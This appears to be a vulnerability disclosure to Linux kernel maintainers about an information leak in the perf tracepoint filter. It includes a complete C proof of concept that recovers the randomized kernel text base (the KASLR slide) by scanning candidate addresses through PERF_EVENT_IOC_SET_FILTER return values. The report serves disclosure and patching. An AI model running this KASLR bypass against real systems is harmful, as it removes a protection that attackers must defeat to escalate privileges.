perf tracepoint filter exposes the kernel text base

Hi,

I found and validated an information leak in kernel/trace/trace_events_filter.c. An unprivileged user can recover the randomized kernel text base, revealing the kernel's KASLR slide, by observing PERF_EVENT_IOC_SET_FILTER return values for a disabled, count-only perf tracepoint event.

Such an event can be opened with exclude_kernel=1 and sample_type=0. The ioctl nevertheless accepts .function predicates. A numeric operand is passed to kallsyms_lookup_size_offset(), so success distinguishes an address in the kernel image from one outside it. A symbolic operand likewise resolves a kernel symbol internally and can compare its address with a task-controlled tracepoint field.

Here is a minimized numeric PoC for an x86_64 kernel built with CONFIG_KALLSYMS_ALL=y. The scan uses 2 MiB steps, the minimum permitted value of CONFIG_PHYSICAL_ALIGN on x86_64, and covers the 1 GiB virtual KASLR window. Event ID 5 identifies the built-in TRACE_PRINT event. The upstream default is perf_event_paranoid=2. Some distributions retain that setting, while others use a stricter value. With the default setting, run the PoC as an unprivileged user:

  #define _GNU_SOURCE
  #include <linux/perf_event.h>
  #include <stdio.h>
  #include <sys/ioctl.h>
  #include <sys/syscall.h>
  #include <unistd.h>

  int main(void)
  {
          struct perf_event_attr a = {
                  .type = PERF_TYPE_TRACEPOINT, .size = sizeof(a),
                  .config = 5, .disabled = 1, .exclude_kernel = 1,
          };
          int fd = syscall(SYS_perf_event_open, &a, 0, -1, -1, 0);
          char filter[64];

          if (fd < 0)
                  return 1;
          for (unsigned long long p = 0xffffffff80000000ULL;
               p < 0xffffffffc0000000ULL; p += 0x200000ULL) {
                  snprintf(filter, sizeof(filter),
                           "ip.function == 0x%llx", p);
                  if (!ioctl(fd, PERF_EVENT_IOC_SET_FILTER, filter)) {
                          printf("_stext=0x%llx\n", p);
                          return 0;
                  }
          }
          return 2;

}

I reproduced the leak under these conditions as an unprivileged user on a kernel built from the current upstream tree. The reported _stext matched the value in /proc/kallsyms as read by root. The PoC needs no tracefs access or perf sample data.